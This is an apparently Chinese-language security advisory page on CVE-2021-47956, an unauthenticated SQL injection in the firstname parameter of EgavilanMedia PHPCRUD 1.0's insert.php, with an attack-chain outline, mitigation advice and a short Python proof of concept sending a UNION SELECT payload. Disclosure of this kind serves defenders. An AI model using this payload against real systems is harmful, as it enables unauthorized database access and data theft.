IPBUF安全漏洞报告
English
CVE-2021-47956 CVSS 8.2 高危

CVE-2021-47956: EgavilanMedia PHPCRUD SQL注入漏洞

披露日期: 2026-05-16

漏洞信息

漏洞编号
CVE-2021-47956
漏洞类型
SQL注入
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
EgavilanMedia PHPCRUD

相关标签

SQL注入CVE-2021-47956EgavilanMediaWeb安全无需认证

漏洞概述

EgavilanMedia PHPCRUD 1.0版本存在严重的SQL注入安全漏洞。由于系统未对用户输入的`firstname`参数进行严格的过滤与转义,未经身份验证的攻击者可利用此缺陷,向`insert.php`端点发送特制的恶意POST请求。通过注入SQL代码,攻击者能够操纵数据库查询逻辑,从而非法获取并提取数据库中的敏感信息。

技术细节

该漏洞的根源在于EgavilanMedia PHPCRUD 1.0的`insert.php`文件在处理数据插入操作时,采用了不安全的字符串拼接方式构建SQL语句。具体来说,后端代码直接获取HTTP POST请求中的`firstname`参数,并将其嵌入到SQL命令中,未实施任何类型的输入验证或转义机制。此外,由于该功能接口缺乏身份验证保护,任何能够访问目标网络的攻击者均可发起攻击。利用方式通常涉及构造包含SQL注释符和联合查询(UNION SELECT)的Payload,欺骗数据库执行额外的查询操作。攻击者可以通过盲注或报错注入技术,逐步提取数据库结构、用户凭证及其他关键业务数据,严重威胁系统安全。

攻击链分析

STEP 1
侦察
攻击者识别出目标网站正在使用EgavilanMedia PHPCRUD 1.0,并确认insert.php接口可访问且无需身份验证。
STEP 2
构造载荷
攻击者针对firstname参数构造恶意的SQL注入Payload,例如使用UNION SELECT语句来窃取数据库信息。
STEP 3
发送请求
攻击者通过HTTP POST方法将包含恶意Payload的数据包发送至服务器端的insert.php。
STEP 4
执行与数据窃取
服务器端未经验证直接执行SQL语句,攻击者利用返回结果解析出敏感数据(如数据库版本、用户表内容等)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL containing the vulnerable endpoint target_url = "http://vulnerable-site/insert.php" # Malicious SQL injection payload for the 'firstname' parameter # This payload attempts to extract the database version using UNION SELECT payload = "' UNION SELECT 1, version(), 3, 4, 5, 6, 7, 8, 9-- -" # POST data to be sent post_data = { "firstname": payload, "lastname": "test", # Additional dummy data may be required by the form "age": "25" } try: # Sending the POST request response = requests.post(target_url, data=post_data) # Checking if the request was successful if response.status_code == 200: print("Request sent successfully.") print("Response content:") print(response.text) else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

影响范围

EgavilanMedia PHPCRUD 1.0

防御指南

临时缓解措施
建议立即部署Web应用防火墙(WAF)以拦截针对`firstname`参数的SQL注入攻击。开发者应尽快修改`insert.php`代码,确保使用PDO或MySQLi的预处理机制来处理所有数据库交互,防止SQL拼接。在未修复前,可考虑暂时禁用该功能或限制对数据库的写入权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表